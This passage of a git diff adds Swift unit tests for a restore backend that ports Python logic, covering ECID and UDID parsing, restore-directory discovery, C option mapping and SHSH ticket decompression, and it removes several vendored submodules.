+ #expect(throws: VPhoneRestoreBackendError.recoveryProbeTimedOut(mode: "dfu/recovery")) {
+ try VPhoneRecoveryProbe.probe(ecid: nil, timeout: 0, isRecovery: false)
+ }
+ }
+
+ @Test func theTimeoutMessageIsThePythonsWordForWord() {
+ let error = VPhoneRestoreBackendError.recoveryProbeTimedOut(mode: "dfu/recovery")
+ #expect("\(error)" == "Timed out waiting for dfu/recovery endpoint")
+ }
+
+ // MARK: - Error messages
+
+ @Test func theRestoreTreeMessagesAreThePythonsWordForWord() {
+ let none = VPhoneRestoreBackendError.noRestoreDirectory(URL(fileURLWithPath: "/tmp/vm"))
+ #expect("\(none)" == "No iPhone*_Restore directory found in /tmp/vm")
+ let several = VPhoneRestoreBackendError.multipleRestoreDirectories(["a", "b"])
+ #expect("\(several)"
+ == "Multiple iPhone*_Restore directories found; keep only one active restore tree")
+ }
+}
diff --git a/tests/VPhoneRestoreTests/RestoreIdentityTests.swift b/tests/VPhoneRestoreTests/RestoreIdentityTests.swift
new file mode 100644
index 00000000..cbeaf9d4
--- /dev/null
+++ b/tests/VPhoneRestoreTests/RestoreIdentityTests.swift
@@ -0,0 +1,99 @@
+import Foundation
+import Testing
+@testable import VPhoneRestore
+
+/// `parse_ecid` and `normalize_udid` from `scripts/pymobiledevice3_bridge.py`,
+/// rejection for rejection. These strings come off users' shell histories and
+/// out of `udid-prediction.txt`, so "accepts what the Python accepted" is the
+/// only thing that makes the port invisible.
+struct RestoreIdentityTests {
+ // MARK: - Accepted
+
+ @Test func absentECIDIsNotAnError() throws {
+ let fromNil = try VPhoneRestoreIdentity.parseECID(nil)
+ #expect(fromNil == nil)
+ // Python's `if not value: return None` — "" is falsy, so it is "unset",
+ // not "empty". The two are different errors downstream.
+ let fromEmpty = try VPhoneRestoreIdentity.parseECID("")
+ #expect(fromEmpty == nil)
+ }
+
+ @Test(arguments: [
+ ("1234abcd", UInt64(0x1234_ABCD)),
+ ("1234ABCD", UInt64(0x1234_ABCD)),
+ ("0x1234abcd", UInt64(0x1234_ABCD)),
+ ("0X1234ABCD", UInt64(0x1234_ABCD)),
+ (" 0x00000001AABBCCDD ", UInt64(0x0000_0001_AABB_CCDD)),
+ ("0", UInt64(0)),
+ ("ffffffffffffffff", UInt64.max),
+ ])
+ func hexWithOrWithoutPrefix(_ input: String, _ expected: UInt64) throws {
+ let parsed = try VPhoneRestoreIdentity.parseECID(input)
+ #expect(parsed == expected)
+ }
+
+ @Test func formatsAsSixteenUppercaseHexDigits() {
+ #expect(VPhoneRestoreIdentity.formatECID(0x1234) == "0000000000001234")
+ #expect(VPhoneRestoreIdentity.formatECID(0xAABB_CCDD_EEFF_0011) == "AABBCCDDEEFF0011")
+ #expect(VPhoneRestoreIdentity.formatECID(0) == "0000000000000000")
+ }
+
+ @Test func roundTripsThroughTheFormattedForm() throws {
+ let original: UInt64 = 0x0000_0001_1A2B_3C4D
+ let reparsed = try VPhoneRestoreIdentity.parseECID(VPhoneRestoreIdentity.formatECID(original))
+ #expect(reparsed == original)
+ }
+
+ // MARK: - Rejected
+
+ @Test(arguments: [" ", "\t", "0x", "0X", " 0x "])
+ func presentButWithoutDigits(_ input: String) {
+ #expect(throws: VPhoneRestoreBackendError.ecidEmpty) {
+ try VPhoneRestoreIdentity.parseECID(input)
+ }
+ }
+
+ @Test(arguments: ["ghij", "12 34", "0x12g", "-1", "12.34", "0x0x12", "1234"])
+ func nonHexIsRejectedAndReportedAsTyped(_ input: String) {
+ // The payload is the ORIGINAL string, not the lower-cased,
+ // prefix-stripped one — Python's `f"Invalid ECID: {value}"`.
+ #expect(throws: VPhoneRestoreBackendError.ecidInvalid(input)) {
+ try VPhoneRestoreIdentity.parseECID(input)
+ }
+ }
+
+ @Test func seventeenHexDigitsDoNotFitAnECID() {
+ // Python's ints are unbounded, so this is the one rejection the bridge
+ // adds. Truncating silently would target a different device.
+ #expect(throws: VPhoneRestoreBackendError.ecidTooLarge("00000000000000001")) {
+ try VPhoneRestoreIdentity.parseECID("00000000000000001")
+ }
+ #expect(throws: VPhoneRestoreBackendError.ecidTooLarge("0xFFFFFFFFFFFFFFFFF")) {
+ try VPhoneRestoreIdentity.parseECID("0xFFFFFFFFFFFFFFFFF")
+ }
+ }
+
+ @Test func invalidECIDCarriesThePythonMessage() {
+ #expect("\(VPhoneRestoreBackendError.ecidEmpty)" == "ECID is empty")
+ #expect("\(VPhoneRestoreBackendError.ecidInvalid("zz"))" == "Invalid ECID: zz")
+ }
+
+ // MARK: - UDID
+
+ @Test func udidIsTrimmedAndUpperCased() {
+ // Not cosmetic: usbmuxd and udid-prediction.txt both report upper-case
+ // hex, so a lower-case --udid would match nothing.
+ #expect(VPhoneRestoreIdentity.normalizeUDID(" abcdef01-0001020304050607 ")
+ == "ABCDEF01-0001020304050607")
+ #expect(VPhoneRestoreIdentity.normalizeUDID("ABCDEF01-0001020304050607")
+ == "ABCDEF01-0001020304050607")
+ }
+
+ @Test func absentOrEmptyUDIDMeansMatchAnyDevice() {
+ #expect(VPhoneRestoreIdentity.normalizeUDID(nil) == nil)
+ // Python kept "" and every call site then treated it as falsy; nil says
+ // the same thing once, where it cannot be got wrong.
+ #expect(VPhoneRestoreIdentity.normalizeUDID("") == nil)
+ #expect(VPhoneRestoreIdentity.normalizeUDID(" ") == nil)
+ }
+}
diff --git a/tests/VPhoneRestoreTests/RestoreLayoutTests.swift b/tests/VPhoneRestoreTests/RestoreLayoutTests.swift
new file mode 100644
index 00000000..be4c34d7
--- /dev/null
+++ b/tests/VPhoneRestoreTests/RestoreLayoutTests.swift
@@ -0,0 +1,153 @@
+import Foundation
+import Testing
+@testable import VPhoneRestore
+
+/// `find_restore_dir` and `derive_shsh_output`. Both rules are contracts:
+/// `--offline` picks the first `*.shsh` in a bundle, and restoring from
+/// whichever of two firmware trees happened to sort first would flash a build
+/// nobody chose.
+struct RestoreLayoutTests {
+ // MARK: - Fixtures
+
+ /// A throwaway directory, removed when `body` returns.
+ private func withTemporaryDirectory<R>(_ body: (URL) throws -> R) throws -> R {
+ let root = FileManager.default.temporaryDirectory
+ .appendingPathComponent("vphone-layout-\(UUID().uuidString)", isDirectory: true)
+ try FileManager.default.createDirectory(at: root, withIntermediateDirectories: true)
+ defer { try? FileManager.default.removeItem(at: root) }
+ return try body(root)
+ }
+
+ private func makeDirectory(_ name: String, in root: URL) throws {
+ try FileManager.default.createDirectory(
+ at: root.appendingPathComponent(name, isDirectory: true),
+ withIntermediateDirectories: true
+ )
+ }
+
+ // MARK: - Restore directory
+
+ @Test func findsTheOneRestoreTree() throws {
+ try withTemporaryDirectory { root in
+ try makeDirectory("iPhone17,3_Restore", in: root)
+ try makeDirectory("cfw_input", in: root)
+ let found = try VPhoneRestoreLayout.findRestoreDirectory(in: root)
+ #expect(found.lastPathComponent == "iPhone17,3_Restore")
+ }
+ }
+
+ @Test func noRestoreTreeIsAnError() throws {
+ try withTemporaryDirectory { root in
+ try makeDirectory("cfw_input", in: root)
+ #expect(throws: VPhoneRestoreBackendError.noRestoreDirectory(root)) {
+ try VPhoneRestoreLayout.findRestoreDirectory(in: root)
+ }
+ }
+ }
+
+ @Test func missingBundleDirectoryIsTheSameError() throws {
+ // contentsOfDirectory fails rather than returning nothing; the caller
+ // should still hear "no restore tree", not a Cocoa error.
+ let absent = FileManager.default.temporaryDirectory
+ .appendingPathComponent("vphone-absent-\(UUID().uuidString)", isDirectory: true)
+ #expect(throws: VPhoneRestoreBackendError.noRestoreDirectory(absent)) {
+ try VPhoneRestoreLayout.findRestoreDirectory(in: absent)
+ }
+ }
+
+ @Test func twoRestoreTreesAreAnErrorNamingBoth() throws {
+ try withTemporaryDirectory { root in
+ try makeDirectory("iPhone17,3_Restore", in: root)
+ try makeDirectory("iPhone16,1_Restore", in: root)
+ let expected = VPhoneRestoreBackendError
+ .multipleRestoreDirectories(["iPhone16,1_Restore", "iPhone17,3_Restore"])
+ #expect(throws: expected) {
+ try VPhoneRestoreLayout.findRestoreDirectory(in: root)
+ }
+ }
+ }
+
+ @Test func threeRestoreTreesAreStillAnError() throws {
+ try withTemporaryDirectory { root in
+ try makeDirectory("iPhone17,3_Restore", in: root)
+ try makeDirectory("iPhone16,1_Restore", in: root)
+ try makeDirectory("iPhone_Restore", in: root)
+ let names = try VPhoneRestoreLayout.restoreDirectoryNames(in: root)
+ #expect(names == ["iPhone16,1_Restore", "iPhone17,3_Restore", "iPhone_Restore"])
+ #expect(throws: VPhoneRestoreBackendError.self) {
+ try VPhoneRestoreLayout.findRestoreDirectory(in: root)
+ }
+ }
+ }
+
+ @Test func aFileWithTheRightNameIsNotARestoreTree() throws {
+ try withTemporaryDirectory { root in
+ // Python's `if p.is_dir()`. A stray file would otherwise be handed
+ // to idevicerestore as a restore directory.
+ try Data("not a tree".utf8)
+ .write(to: root.appendingPathComponent("iPhone17,3_Restore"))
+ #expect(throws: VPhoneRestoreBackendError.noRestoreDirectory(root)) {
+ try VPhoneRestoreLayout.findRestoreDirectory(in: root)
+ }
+ }
+ }
+
+ @Test func theGlobStarMayMatchNothing() throws {
+ try withTemporaryDirectory { root in
+ // "iPhone*_Restore" with an empty star. `hasPrefix` + `hasSuffix`
+ // has to accept it, and the two literals cannot overlap, so it does.
+ try makeDirectory("iPhone_Restore", in: root)
+ let found = try VPhoneRestoreLayout.findRestoreDirectory(in: root)
+ #expect(found.lastPathComponent == "iPhone_Restore")
+ }
+ }
+
+ @Test(arguments: ["iPhone17,3", "iPhone", "17,3_Restore", "Restore", "iphone17,3_restore"])
+ func neighbouringNamesAreNotRestoreTrees(_ name: String) throws {
+ try withTemporaryDirectory { root in
+ try makeDirectory(name, in: root)
+ let names = try VPhoneRestoreLayout.restoreDirectoryNames(in: root)
+ #expect(names.isEmpty)
+ }
+ }
+
+ @Test func aSymlinkToADirectoryCounts() throws {
+ try withTemporaryDirectory { root in
+ // Python's glob + `p.is_dir()` follows symlinks, and a bundle that
+ // points at a shared firmware tree is a reasonable thing to build.
+ try makeDirectory("real_tree", in: root)
+ try FileManager.default.createSymbolicLink(
+ at: root.appendingPathComponent("iPhone17,3_Restore"),
+ withDestinationURL: root.appendingPathComponent("real_tree")
+ )
+ let found = try VPhoneRestoreLayout.findRestoreDirectory(in: root)
+ #expect(found.lastPathComponent == "iPhone17,3_Restore")
+ }
+ }
+
+ // MARK: - SHSH filename
+
+ @Test func shshIsNamedAfterTheECIDInSixteenHexDigits() {
+ let root = URL(fileURLWithPath: "/tmp/vm")
+ #expect(VPhoneRestoreLayout.shshOutput(vmDir: root, ecid: 0x0000_0001_1A2B_3C4D).path
+ == "/tmp/vm/000000011A2B3C4D.shsh")
+ #expect(VPhoneRestoreLayout.shshOutput(vmDir: root, ecid: 1).path
+ == "/tmp/vm/0000000000000001.shsh")
+ }
+
+ @Test func shshFallsBackToAutoWithoutAnECID() {
+ let root = URL(fileURLWithPath: "/tmp/vm")
+ #expect(VPhoneRestoreLayout.shshOutput(vmDir: root, ecid: nil).path == "/tmp/vm/auto.shsh")
+ }
+
+ @Test func theDerivedNameIsTheOneOfflineRestoresLookFor() throws {
+ // `vphone-cli restore --offline` takes the first *.shsh in the bundle.
+ // Whatever else changes, the extension has to stay.
+ let derived = VPhoneRestoreLayout.shshOutput(
+ vmDir: URL(fileURLWithPath: "/tmp/vm"),
+ ecid: 0xAABB
+ )
+ #expect(derived.pathExtension == "shsh")
+ #expect(derived.deletingPathExtension().lastPathComponent == "000000000000AABB")
+ }
+}
diff --git a/tests/VPhoneRestoreTests/RestoreOptionsTests.swift b/tests/VPhoneRestoreTests/RestoreOptionsTests.swift
new file mode 100644
index 00000000..d4b6efea
--- /dev/null
+++ b/tests/VPhoneRestoreTests/RestoreOptionsTests.swift
@@ -0,0 +1,170 @@
+import Foundation
+import Testing
+@testable import VPhoneRestore
+
+/// `VPhoneRestoreOptions` -> `struct vphone_restore_options`.
+///
+/// This is the boundary where a wrong field is silent: `erase` and `shsh_only`
+/// are adjacent bools, a `NULL` `udid` means "any device" while an empty string
+/// means "a device called ''", and nothing downstream would complain.
+struct RestoreOptionsTests {
+ // MARK: - Fixtures
+
+ /// The C struct, read while its strings are still alive.
+ private struct Snapshot {
+ var restoreDir: String?
+ var cacheDir: String?
+ var udid: String?
+ var ticketPath: String?
+ var ecid: UInt64
+ var erase: Bool
+ var shshOnly: Bool
+ var keepPers: Bool
+ var debugLevel: Int32
+ var hasLogCallback: Bool
+ var hasProgressCallback: Bool
+ var hasContext: Bool
+ }
+
+ private func snapshot(_ options: VPhoneRestoreOptions) -> Snapshot {
+ options.withCOptions { c in
+ Snapshot(
+ restoreDir: c.restore_dir.map { String(cString: $0) },
+ cacheDir: c.cache_dir.map { String(cString: $0) },
+ udid: c.udid.map { String(cString: $0) },
+ ticketPath: c.ticket_path.map { String(cString: $0) },
+ ecid: c.ecid,
+ erase: c.erase,
+ shshOnly: c.shsh_only,
+ keepPers: c.keep_pers,
+ debugLevel: c.debug_level,
+ hasLogCallback: c.log_cb != nil,
+ hasProgressCallback: c.progress_cb != nil,
+ hasContext: c.context != nil
+ )
+ }
+ }
+
+ // MARK: - Mapping
+
+ @Test func everyFieldReachesTheCStruct() {
+ let options = VPhoneRestoreOptions(
+ restoreDirectory: URL(fileURLWithPath: "/tmp/vm/iPhone17,3_Restore"),
+ cacheDirectory: URL(fileURLWithPath: "/tmp/cache"),
+ udid: "ABCDEF01-0001020304050607",
+ ecid: 0x0000_0001_1A2B_3C4D,
+ erase: true,
+ ticketPath: URL(fileURLWithPath: "/tmp/vm/000000011A2B3C4D.shsh"),
+ shshOnly: false,
+ keepPers: true,
+ debugLevel: 2
+ )
+ let c = snapshot(options)
+ #expect(c.restoreDir == "/tmp/vm/iPhone17,3_Restore")
+ #expect(c.cacheDir == "/tmp/cache")
+ #expect(c.udid == "ABCDEF01-0001020304050607")
+ #expect(c.ticketPath == "/tmp/vm/000000011A2B3C4D.shsh")
+ #expect(c.ecid == 0x0000_0001_1A2B_3C4D)
+ #expect(c.erase)
+ #expect(!c.shshOnly)
+ #expect(c.keepPers)
+ #expect(c.debugLevel == 2)
+ }
+
+ @Test func absentOptionalsBecomeNullNotEmptyStrings() {
+ // A `udid` of "" is a device whose UDID is the empty string, which
+ // matches nothing; NULL is "whichever device is attached".
+ let options = VPhoneRestoreOptions(
+ restoreDirectory: URL(fileURLWithPath: "/tmp/vm/iPhone17,3_Restore")
+ )
+ let c = snapshot(options)
+ #expect(c.cacheDir == nil)
+ #expect(c.udid == nil)
+ #expect(c.ticketPath == nil)
+ }
+
+ @Test func defaultsAreAnOnlineEraseRestore() {
+ // Which is what `restore-update` did with no flags: Behavior.Erase,
+ // a ticket from Apple, no debug logging.
+ let c = snapshot(VPhoneRestoreOptions(
+ restoreDirectory: URL(fileURLWithPath: "/tmp/vm/iPhone17,3_Restore")
+ ))
+ #expect(c.erase)
+ #expect(c.ecid == 0)
+ #expect(!c.shshOnly)
+ #expect(!c.keepPers)
+ #expect(c.debugLevel == 0)
+ #expect(c.ticketPath == nil)
+ }
+
+ @Test func updateInPlaceClearsErase() {
+ // pymobiledevice3's Behavior.Update, the bridge's `--no-erase`.
+ let c = snapshot(VPhoneRestoreOptions(
+ restoreDirectory: URL(fileURLWithPath: "/tmp/vm/iPhone17,3_Restore"),
+ erase: false
+ ))
+ #expect(!c.erase)
+ }
+
+ @Test func eraseAndShshOnlyAreIndependent() {
+ // The SHSH fetch asks for an ERASE ticket and stops before the device;
+ // both bits are set, and swapping them would fetch the wrong blob.
+ let c = snapshot(VPhoneRestoreOptions(
+ restoreDirectory: URL(fileURLWithPath: "/tmp/vm/iPhone17,3_Restore"),
+ erase: true,
+ shshOnly: true
+ ))
+ #expect(c.erase)
+ #expect(c.shshOnly)
+ }
+
+ @Test func callbackFieldsAreLeftForTheRunner() {
+ // `withCOptions` maps the data only; `VPhoneRestoreRunner` installs the
+ // function pointers and the context on its own copy.
+ let c = snapshot(VPhoneRestoreOptions(
+ restoreDirectory: URL(fileURLWithPath: "/tmp/vm/iPhone17,3_Restore")
+ ))
+ #expect(!c.hasLogCallback)
+ #expect(!c.hasProgressCallback)
+ #expect(!c.hasContext)
+ }
+
+ @Test func pathsAreTakenFromTheURLNotItsDescription() {
+ // A URL's description is "file:///…"; its `path` is what a C API wants.
+ let c = snapshot(VPhoneRestoreOptions(
+ restoreDirectory: URL(fileURLWithPath: "/tmp/a space/iPhone17,3_Restore")
+ ))
+ #expect(c.restoreDir == "/tmp/a space/iPhone17,3_Restore")
+ }
+
+ // MARK: - Storage lifetime
+
+ @Test func eachCallGetsItsOwnStorage() {
+ // `withCOptions` frees its strings on the way out, so two snapshots
+ // taken separately must not alias — a stale pointer here would be a
+ // use-after-free inside idevicerestore.
+ let first = snapshot(VPhoneRestoreOptions(
+ restoreDirectory: URL(fileURLWithPath: "/tmp/one/iPhone17,3_Restore")
+ ))
+ let second = snapshot(VPhoneRestoreOptions(
+ restoreDirectory: URL(fileURLWithPath: "/tmp/two/iPhone17,3_Restore")
+ ))
+ #expect(first.restoreDir == "/tmp/one/iPhone17,3_Restore")
+ #expect(second.restoreDir == "/tmp/two/iPhone17,3_Restore")
+ }
+
+ @Test func nestedCallsDoNotClobberEachOther() {
+ let outer = VPhoneRestoreOptions(restoreDirectory: URL(fileURLWithPath: "/tmp/outer"))
+ let inner = VPhoneRestoreOptions(restoreDirectory: URL(fileURLWithPath: "/tmp/inner"))
+ let pair = outer.withCOptions { outerC in
+ inner.withCOptions { innerC in
+ (
+ outerC.restore_dir.map { String(cString: $0) },
+ innerC.restore_dir.map { String(cString: $0) }
+ )
+ }
+ }
+ #expect(pair.0 == "/tmp/outer")
+ #expect(pair.1 == "/tmp/inner")
+ }
+}
diff --git a/tests/VPhoneRestoreTests/RestoreTicketTests.swift b/tests/VPhoneRestoreTests/RestoreTicketTests.swift
new file mode 100644
index 00000000..ae08e852
--- /dev/null
+++ b/tests/VPhoneRestoreTests/RestoreTicketTests.swift
@@ -0,0 +1,190 @@
+import Foundation
+import Testing
+import zlib
+@testable import VPhoneRestore
+
+/// Turning what idevicerestore's `-t/--shsh` wrote into what this project has
+/// always kept beside a VM: a gzipped binary plist under
+/// `<ecid>-<product>-<version>.shsh`, into a plain plist under
+/// `<ECID as %016X>.shsh`.
+struct RestoreTicketTests {
+ // MARK: - Fixtures
+
+ /// A minimal stand-in for a TSS response: a dict with an AP ticket and one
+ /// per-component blob, which is the shape that matters.
+ private var tssResponse: [String: Any] {
+ [
+ "ApImg4Ticket": Data([0x49, 0x4D, 0x34, 0x4D]),
+ "Status": ["code": 0] as [String: Any],
+ "iBEC": ["Digest": Data([0xAA, 0xBB]), "Trusted": true] as [String: Any],
+ ]
+ }
+
+ private func plist(_ object: Any, format: PropertyListSerialization.PropertyListFormat) throws -> Data {
+ try PropertyListSerialization.data(fromPropertyList: object, format: format, options: 0)
+ }
+
+ /// The mirror of `VPhoneRestoreTicket.gunzip`: zlib deflate with
+ /// `windowBits = 15 + 16`, which is what `gzopen`/`gzwrite` produce.
+ private func gzip(_ data: Data) throws -> Data {
+ var stream = z_stream()
+ let started = deflateInit2_(
+ &stream,
+ Z_DEFAULT_COMPRESSION,
+ Z_DEFLATED,
+ 15 + 16,
+ 8,
+ Z_DEFAULT_STRATEGY,
+ zlibVersion(),
+ Int32(MemoryLayout<z_stream>.size)
+ )
+ try #require(started == Z_OK)
+ defer { deflateEnd(&stream) }
+
+ var input = [UInt8](data)
+ var output = Data()
+ var chunk = [UInt8](repeating: 0, count: 64 * 1024)
+ input.withUnsafeMutableBufferPointer { inputBuffer in
+ stream.next_in = inputBuffer.baseAddress
+ stream.avail_in = uInt(inputBuffer.count)
+ while true {
+ let status: Int32 = chunk.withUnsafeMutableBufferPointer { outputBuffer in
+ stream.next_out = outputBuffer.baseAddress
+ stream.avail_out = uInt(outputBuffer.count)
+ return deflate(&stream, Z_FINISH)
+ }
+ let produced = chunk.count - Int(stream.avail_out)
+ if produced > 0 { output.append(contentsOf: chunk[0..<produced]) }
+ if status == Z_STREAM_END { break }
+ if status != Z_OK { break }
+ }
+ }
+ return output
+ }
+
+ private let anyPath = URL(fileURLWithPath: "/tmp/vm/000000011A2B3C4D.shsh")
+
+ // MARK: - Filename
+
+ @Test(arguments: [
+ ("4886718345-iPhone17,3-26.0.shsh", UInt64(4_886_718_345)),
+ ("1-iPhone17,3-26.0.shsh", UInt64(1)),
+ ("18446744073709551615-iPhone17,3-26.0.shsh", UInt64.max),
+ ])
+ func readsTheDecimalECIDOffTheFilename(_ name: String, _ expected: UInt64) {
+ // idevicerestore prints client->ecid in DECIMAL there, and it is the
+ // ECID the device reported — which is how a fetch with no --ecid still
+ // produces a named .shsh, exactly as Python's
+ // `device.get_ecid_value()` did.
+ #expect(VPhoneRestoreTicket.ecid(fromSHSHFilename: name) == expected)
+ }
+
+ @Test(arguments: ["shsh", "-iPhone17,3-26.0.shsh", "auto.shsh", "iPhone17,3-26.0.shsh", ""])
+ func aFilenameWithoutALeadingECIDGivesNothing(_ name: String) {
+ #expect(VPhoneRestoreTicket.ecid(fromSHSHFilename: name) == nil)
+ }
+
+ @Test func anECIDTooLargeForSixtyFourBitsGivesNothing() {
+ // Rather than wrapping into some other device's identifier.
+ #expect(VPhoneRestoreTicket.ecid(fromSHSHFilename: "99999999999999999999-x-y.shsh") == nil)
+ }
+
+ // MARK: - Magic
+
+ @Test func recognisesTheGzipMagic() {
+ #expect(VPhoneRestoreTicket.isGzipped(Data([0x1F, 0x8B, 0x08, 0x00])))
+ #expect(!VPhoneRestoreTicket.isGzipped(Data("<?xml".utf8)))
+ #expect(!VPhoneRestoreTicket.isGzipped(Data("bplist00".utf8)))
+ #expect(!VPhoneRestoreTicket.isGzipped(Data([0x1F])))
+ #expect(!VPhoneRestoreTicket.isGzipped(Data()))
+ }
+
+ // MARK: - Decompression
+
+ @Test func inflatesWhatGzipWrote() throws {
+ let original = Data("the quick brown fox, repeated: \(String(repeating: "ab", count: 5000))".utf8)
+ let compressed = try gzip(original)
+ #expect(VPhoneRestoreTicket.isGzipped(compressed))
+ let inflated = try #require(VPhoneRestoreTicket.gunzip(compressed))
+ #expect(inflated == original)
+ }
+
+ @Test func inflatesAcrossTheOutputChunkBoundary() throws {
+ // The inflate loop refills a 64 KiB buffer; a blob bigger than that is
+ // the case that finds an off-by-one in the refill.
+ var original = Data()
+ for index in 0..<400_000 { original.append(UInt8(index % 251)) }
+ let inflated = try #require(VPhoneRestoreTicket.gunzip(try gzip(original)))
+ #expect(inflated.count == original.count)
+ #expect(inflated == original)
+ }
+
+ @Test func refusesGarbageRatherThanLoopingOnIt() {
+ #expect(VPhoneRestoreTicket.gunzip(Data([0x1F, 0x8B, 0x00, 0x01, 0x02, 0x03])) == nil)
+ #expect(VPhoneRestoreTicket.gunzip(Data()) == nil)
+ #expect(VPhoneRestoreTicket.gunzip(Data("not compressed at all".utf8)) == nil)
+ }
+
+ @Test func refusesATruncatedStream() throws {
+ let compressed = try gzip(Data(repeating: 0x5A, count: 100_000))
+ let truncated = compressed.prefix(compressed.count / 2)
+ #expect(VPhoneRestoreTicket.gunzip(Data(truncated)) == nil)
+ }
+
+ // MARK: - Reading a .shsh
+
+ @Test func readsTheGzippedBinaryPlistIdevicerestoreWrites() throws {
+ let binary = try plist(tssResponse, format: .binary)
+ let onDisk = try gzip(binary)
+ let recovered = try VPhoneRestoreTicket.plistData(of: onDisk, at: anyPath)
+ // The gzip wrapper comes off and the plist bytes are passed through
+ // untouched — no re-serialization, so a blob's bytes never change.
+ #expect(recovered == binary)
+ let parsed = try PropertyListSerialization.propertyList(from: recovered, options: [], format: nil)
+ #expect((parsed as? [String: Any])?["ApImg4Ticket"] is Data)
+ }
+
+ @Test func readsThePlainXMLPlistThePythonBridgeWrote() throws {
+ // plistlib.dump defaults to XML, so every .shsh already sitting in a
+ // bundle is this shape.
+ let xml = try plist(tssResponse, format: .xml)
+ let recovered = try VPhoneRestoreTicket.plistData(of: xml, at: anyPath)
+ #expect(recovered == xml)
+ }
+
+ @Test func readsABareBinaryPlist() throws {
+ let binary = try plist(tssResponse, format: .binary)
+ let recovered = try VPhoneRestoreTicket.plistData(of: binary, at: anyPath)
+ #expect(recovered == binary)
+ }
+
+ @Test func rejectsSomethingThatIsNotAPlist() {
+ #expect(throws: VPhoneRestoreBackendError.shshMalformed(anyPath)) {
+ try VPhoneRestoreTicket.plistData(of: Data("just some bytes".utf8), at: anyPath)
+ }
+ }
+
+ @Test func rejectsAPlistThatIsNotADictionary() throws {
+ // A TSS response is a dict with an entry per component. An array here
+ // means the wrong file, and hearing that now beats hearing it from a
+ // device that rejects every component it is sent.
+ let array = try plist([1, 2, 3], format: .xml)
+ #expect(throws: VPhoneRestoreBackendError.shshMalformed(anyPath)) {
+ try VPhoneRestoreTicket.plistData(of: array, at: anyPath)
+ }
+ }
+
+ @Test func rejectsAGzipStreamOfSomethingThatIsNotAPlist() throws {
+ let compressed = try gzip(Data("hello, not a plist".utf8))
+ #expect(throws: VPhoneRestoreBackendError.shshMalformed(anyPath)) {
+ try VPhoneRestoreTicket.plistData(of: compressed, at: anyPath)
+ }
+ }
+
+ @Test func reportsADamagedGzipSeparatelyFromADamagedPlist() {
+ // Different fixes: one is a corrupt file, the other is the wrong file.
+ #expect(throws: VPhoneRestoreBackendError.shshNotDecompressible(anyPath)) {
+ try VPhoneRestoreTicket.plistData(of: Data([0x1F, 0x8B, 0x08, 0xFF, 0x00]), at: anyPath)
+ }
+ }
+}
diff --git a/vendor/Dynamic b/vendor/Dynamic
deleted file mode 160000
index 77288307..00000000
--- a/vendor/Dynamic
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 772883073d044bc754d401cabb6574624eb3778f
diff --git a/vendor/MachOKit b/vendor/MachOKit
deleted file mode 160000
index eb30537f..00000000
--- a/vendor/MachOKit
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit eb30537f9be1ea7ba5d6f85f952f3624348a8978
diff --git a/vendor/libarchive.xcframework b/vendor/libarchive.xcframework
deleted file mode 160000
index 3bda868f..00000000
--- a/vendor/libarchive.xcframework
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 3bda868f1868790de2dd246a9eff76eeecba3537
diff --git a/vendor/libcapstone-spm b/vendor/libcapstone-spm
deleted file mode 160000
index ea98aa0a..00000000
--- a/vendor/libcapstone-spm
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit ea98aa0a31693d7ea2930c4372f9b5858b0bc7a3
diff --git a/vendor/libimg4-spm b/vendor/libimg4-spm
deleted file mode 160000
index 1ed44d4b..00000000
--- a/vendor/libimg4-spm
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 1ed44d4b370d437135419338bfe85e5610c8cc10
diff --git a/vendor/swift-argument-parser b/vendor/swift-argument-parser
deleted file mode 160000
index 1e77425a..00000000
--- a/vendor/swift-argument-parser
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 1e77425a27b864b97501c78511382bd0a0500520